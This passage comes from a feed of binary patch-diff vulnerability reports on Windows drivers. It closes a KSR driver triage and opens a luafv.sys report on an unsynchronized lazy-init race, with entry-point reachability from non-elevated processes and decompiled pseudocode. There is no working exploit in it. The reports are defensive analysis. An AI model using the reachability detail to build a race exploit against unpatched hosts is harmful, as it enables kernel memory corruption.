&lt;li&gt;&lt;code&gt;KsrpNkAllocatePagesForMdl&lt;/code&gt; chain-link write: patched &lt;code&gt;0x1400139A5&lt;/code&gt; (&lt;code&gt;mov [rdi], r13&lt;/code&gt;) and head store &lt;code&gt;0x140013A02&lt;/code&gt;; absent in the unpatched loop &lt;code&gt;0x1C000BBFD&lt;/code&gt;–&lt;code&gt;0x1C000BC67&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KsrConnectSecureLoader&lt;/code&gt; unlock ordering: unpatched unlock at &lt;code&gt;0x1C000CDB7&lt;/code&gt;/&lt;code&gt;0x1C000CDCA&lt;/code&gt; precedes the result test at &lt;code&gt;0x1C000CDCF&lt;/code&gt;; patched single unlock at &lt;code&gt;0x140013286&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KsrPdFreeUnusedPartitionPages&lt;/code&gt; lock delta: no acquire in the unpatched function (&lt;code&gt;0x1C000B500&lt;/code&gt;); patched acquires &lt;code&gt;KsrpPdDatabaseLock&lt;/code&gt; at &lt;code&gt;0x14000DC7D&lt;/code&gt; (shared) and &lt;code&gt;0x14000DCB2&lt;/code&gt; (exclusive).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpNkAllocatePagesForMdl&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C000BB20&lt;/code&gt; → patched &lt;code&gt;0x140013888&lt;/code&gt;): adds a back-linked page-chain field and a chain-head output parameter; signature grew 6→8 args; switched to &lt;code&gt;KsrMmAllocatePartitionNumaPagesForMdlEx&lt;/code&gt;. Format/feature change; no consumer dereferences the field. Not a security fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrConnectSecureLoader&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C000CC90&lt;/code&gt; → &lt;code&gt;0x140013180&lt;/code&gt;): unlock path consolidated into &lt;code&gt;KsrpNkUnlockPagesForTransfer&lt;/code&gt;; migrated to &lt;code&gt;ExAllocatePool2&lt;/code&gt;; added up-front &lt;code&gt;memset&lt;/code&gt;. Refactor/modernization; no leak in the unpatched build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrPdFreeUnusedPartitionPages&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C000B500&lt;/code&gt;) → &lt;strong&gt;&lt;code&gt;KsrpFreeUnusedPartitionMemory&lt;/code&gt;/&lt;code&gt;...Routine&lt;/code&gt;/&lt;code&gt;...Worker&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x14000D8C4&lt;/code&gt;/&lt;code&gt;0x14000DBFC&lt;/code&gt;/&lt;code&gt;0x14000DE10&lt;/code&gt;): redesigned into a per-NUMA-node parallel worker model; the shared-tree traversal, previously unlocked, is now bracketed by &lt;code&gt;KsrpPdDatabaseLock&lt;/code&gt;. Boot-restore-only synchronization hardening coupled to the redesign; not an attacker-reachable race. The unpatched traversal is a read-only in-order walk that frees pages within ranges (&lt;code&gt;KsrPdFreePagesInRange&lt;/code&gt;); it neither removes tree nodes nor calls &lt;code&gt;RtlRbRemoveNode&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpRestoreMemoryPartition&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C000926C&lt;/code&gt; → &lt;code&gt;0x14000DFF0&lt;/code&gt;): the metadata offset/length bounds validation is byte-equivalent in both builds (fields at &lt;code&gt;+4/+8/+0xC/+0x10&lt;/code&gt; checked against the metadata size, plus the two cross-field sums; reject target common to both). The only differences are a renamed query helper (&lt;code&gt;KsrPdQueryRegionMetadata&lt;/code&gt; → &lt;code&gt;KsrDbQueryRegionMetadata&lt;/code&gt;), &lt;code&gt;ExAllocatePool2&lt;/code&gt; migration, and a dropped redundant retrieve call. No security-relevant change.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrQueryMetadata&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C0007290&lt;/code&gt; region): metadata-query dispatch reorganized as part of the data-access-layer rename/split. Behavioral refactor, not security-relevant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpRestoreMemoryPartitionsWorker&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C0009770&lt;/code&gt; → &lt;code&gt;0x14000E830&lt;/code&gt;): restoration worker; changes are locking/consistency hardening (&lt;code&gt;KeBugCheckEx&lt;/code&gt; on inconsistency) consistent with the redesign. Not a standalone vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpNkLockPagesForLargeTransfer&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C000BF30&lt;/code&gt;): page-lock helper; error-path hardening and object-open modernization. Not security-relevant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrpNkLockPagesForTransfer&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C000C45C&lt;/code&gt; → &lt;code&gt;0x140014A20&lt;/code&gt;): identical page-count math, &lt;code&gt;MmProbeAndLockPages&lt;/code&gt;, and &lt;code&gt;&amp;gt;1&lt;/code&gt;-page delegation. No change of security relevance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;KsrPdQueryRegionMetadata&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C000B7CC&lt;/code&gt; → &lt;code&gt;0x14001060C&lt;/code&gt;): identical table-index bound (&lt;code&gt;cmp edx,[rcx+0x14]; jnb reject&lt;/code&gt;) and pre-&lt;code&gt;memmove&lt;/code&gt; copy-size guard; only a block-id constant shifted. No change of security relevance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rebuild/optimization changes:&lt;/strong&gt; &lt;code&gt;memmove&lt;/code&gt;/&lt;code&gt;memset&lt;/code&gt; variant rewrites; the broad &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;ExAllocatePool2&lt;/code&gt; migration; added WPP/ETW tracing (&lt;code&gt;McTemplate*_EtwWriteTransfer&lt;/code&gt;); &lt;code&gt;KeBugCheckEx&lt;/code&gt; error-path hardening; feature-flag staging (&lt;code&gt;KsrSecureKernelConnected&lt;/code&gt;, &lt;code&gt;byte_140007143 &amp;amp; 8&lt;/code&gt;, &lt;code&gt;dword_1400072A4 &amp;amp; 0x10&lt;/code&gt;). None are security fixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; the patched build contains many functions with no unpatched counterpart (e.g. the secure-extension split &lt;code&gt;KsrNkConnectSecureExtension&lt;/code&gt;, &lt;code&gt;KsrpNkMapTransferPage&lt;/code&gt;), consistent with a rebuild/feature-staging redesign rather than a targeted patch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; none of security relevance.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Note: &lt;code&gt;KsrpNkMapTransferPage&lt;/code&gt; (&lt;code&gt;0x140014B3C&lt;/code&gt;) is new code carrying a one-page size cap (&lt;code&gt;cmp r8, 0x1000; jbe&lt;/code&gt; at &lt;code&gt;0x140014B59&lt;/code&gt;). Because it is newly-introduced code in a refactored path rather than a hardening of a pre-existing function, it is not scored as a fixed vulnerability.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the direction and mechanism of each item, based on address-anchored comparison of both builds' disassembly and decompilation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Basis:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Finding 1 is a format/feature addition (new chain field + new output parameter, signature change); no consumer reads the field, so no reachable impact.&lt;/li&gt;
&lt;li&gt;Finding 2's unlock executes before the connection-result test in the unpatched build, so the reported leak-on-failure does not exist.&lt;/li&gt;
&lt;li&gt;Finding 3 is a genuine lock delta but boot-restore-only, on OS-owned data, with concurrency coupled to the patched build's own new parallel design; no attacker-reachable race is demonstrable.&lt;/li&gt;
&lt;li&gt;The restore-path metadata bounds validation is identical in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Limits:&lt;/strong&gt; The persisted pages produced by Finding 1 and the partition database in Finding 3 may be consumed by components outside these two binaries (the Secure Kernel, the boot loader). Any impact through those external consumers cannot be confirmed from the provided files and is not claimed here.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>luafv.sys — Missing synchronization on LuafvQueryStoreDirectory stream-handle-context lazy init (CWE-362), fixed behind a staged feature gate</title><link href="https://byteray-ai.github.io/drift-corpus/item/luafv_f072c9e2-luafv-report-20260629-133002.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/luafv_f072c9e2-luafv-report-20260629-133002.html</id><summary type="html">&lt;p&gt;KB5094127&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;luafv_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;luafv_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9648&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;214&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;213&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched → patched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The only behavioral change in the driver is in &lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt;. The patched build wraps that function's body in a recursive exclusive push lock on the stream-handle context, addressing a missing-synchronization (race) pattern in the lazy initialization of a per-context buffer. The lock is &lt;strong&gt;gated behind a WIL feature-staging flag&lt;/strong&gt; (&lt;code&gt;Feature_3757245754__private_IsEnabledDeviceUsage&lt;/code&gt;); when the flag is off, the lock is skipped and the pre-existing unsynchronized path runs unchanged. All other function-level differences between the two builds are global-data address relocations (the data section shifted because the WIL feature-staging code and its globals were linked in), not logic changes.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Missing Synchronization in Stream-Handle-Context Buffer Lazy Init&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Race Condition / Missing Synchronization (CWE-362)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt; (&lt;code&gt;0x1C0014DB4&lt;/code&gt; unpatched, &lt;code&gt;0x1C0015F34&lt;/code&gt; patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pre-operation callback &lt;code&gt;LuafvPreDirectoryControl&lt;/code&gt; (&lt;code&gt;0x1C000FD10&lt;/code&gt;), registered for &lt;code&gt;IRP_MJ_DIRECTORY_CONTROL&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reaching operation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IRP_MJ_DIRECTORY_CONTROL&lt;/code&gt; with minor function &lt;code&gt;IRP_MN_QUERY_DIRECTORY&lt;/code&gt; (minor == 1) only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; &lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt; lazily initializes a per-stream-handle-context buffer. It (1) reads the context's &lt;code&gt;+0x60&lt;/code&gt; pointer, (2) if NULL, allocates a 0x40-byte PagedPool chunk (pool tag &lt;code&gt;0x16&lt;/code&gt;) via &lt;code&gt;LuafvAllocatePool&lt;/code&gt; and stores it at &lt;code&gt;ctx+0x60&lt;/code&gt;, (3) zeroes it with &lt;code&gt;memset&lt;/code&gt;, (4) calls &lt;code&gt;LuafvOpenDirectory&lt;/code&gt; twice to open the store and virtual directories into the buffer and the buffer+0x20 region, (5) maps the query MDL from the callback data via &lt;code&gt;MmMapLockedPagesSpecifyCache&lt;/code&gt;, and (6) calls &lt;code&gt;LuafvMergeStoreDirectory&lt;/code&gt; to merge the store and virtual directory listings. In the unpatched build none of these steps hold any lock.&lt;/p&gt;
&lt;p&gt;If two directory-query operations execute concurrently on the same stream-handle context (overlapped/asynchronous &lt;code&gt;IRP_MJ_DIRECTORY_CONTROL&lt;/code&gt; requests on the same handle), both threads can observe &lt;code&gt;ctx+0x60 == NULL&lt;/code&gt;, both allocate, and one store overwrites the other at &lt;code&gt;ctx+0x60&lt;/code&gt;. The loser's 0x40-byte allocation is leaked (never freed), and both threads then run the open/merge pipeline against the same shared buffer concurrently, corrupting the buffer's directory-merge state. No free of the &lt;code&gt;ctx+0x60&lt;/code&gt; buffer occurs inside this function, so no use-after-free is demonstrated by the diff; the demonstrable effects are a pool-buffer leak and concurrent double-initialization / corruption of the shared 0x40 buffer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Direction of the change.&lt;/strong&gt; The patched build is the stricter one: it &lt;em&gt;adds&lt;/em&gt; synchronization. However, the acquire/release are both guarded by &lt;code&gt;Feature_3757245754__private_IsEnabledDeviceUsage()&lt;/code&gt;. When that predicate returns 0, the patched code jumps over the lock (&lt;code&gt;jz&lt;/code&gt;) and executes the identical unsynchronized body. This is a staged / feature-gated rollout with the old path retained, not an unconditionally enforced fix.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-reachable entry point and call chain:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;User-mode directory enumeration (&lt;code&gt;FindFirstFileW&lt;/code&gt;/&lt;code&gt;FindNextFileW&lt;/code&gt;, &lt;code&gt;NtQueryDirectoryFile&lt;/code&gt;) by a standard (non-elevated) process on a path handled by luafv's virtual store.&lt;/li&gt;
&lt;li&gt;FltMgr dispatches the &lt;code&gt;IRP_MJ_DIRECTORY_CONTROL&lt;/code&gt; request to &lt;code&gt;LuafvPreDirectoryControl&lt;/code&gt; (&lt;code&gt;0x1C000FD10&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LuafvPreDirectoryControl&lt;/code&gt; checks the stream-handle context, requires minor function &lt;code&gt;IRP_MN_QUERY_DIRECTORY&lt;/code&gt; (&lt;code&gt;cmp byte [Iopb+5], 1&lt;/code&gt; at &lt;code&gt;0x1C000FDB6&lt;/code&gt;), then reaches the store-merge path for the relevant file-information classes (&lt;code&gt;cmp edx, 3&lt;/code&gt; at &lt;code&gt;0x1C000FDE0&lt;/code&gt; plus the class jump table at &lt;code&gt;0x1C0017297&lt;/code&gt;), and at &lt;code&gt;0x1C000FE03&lt;/code&gt; calls &lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt; runs the unsynchronized lazy-init/open/merge pipeline on &lt;code&gt;ctx+0x60&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;No other IRP major function reaches &lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt;; the only other caller is the second &lt;code&gt;LuafvPreDirectoryControl&lt;/code&gt; variant in the patched build (&lt;code&gt;0x1C0010E90&lt;/code&gt; → call at &lt;code&gt;0x1C0010F83&lt;/code&gt;), which is likewise a directory-control pre-op.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED — LuafvQueryStoreDirectory @ 0x1C0014DB4 (no synchronization) ===&lt;/span&gt;
&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;LuafvQueryStoreDirectory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PFLT_INSTANCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PFLT_CALLBACK_DATA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Iopb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// read shared pointer, NO LOCK&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Iopb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LuafvAllocatePool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// alloc, NO LOCK&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// store, NO LOCK (race-decider)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000009A&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// re-read shared pointer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LuafvOpenDirectory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// NO LOCK&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LuafvOpenDirectory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// NO LOCK&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

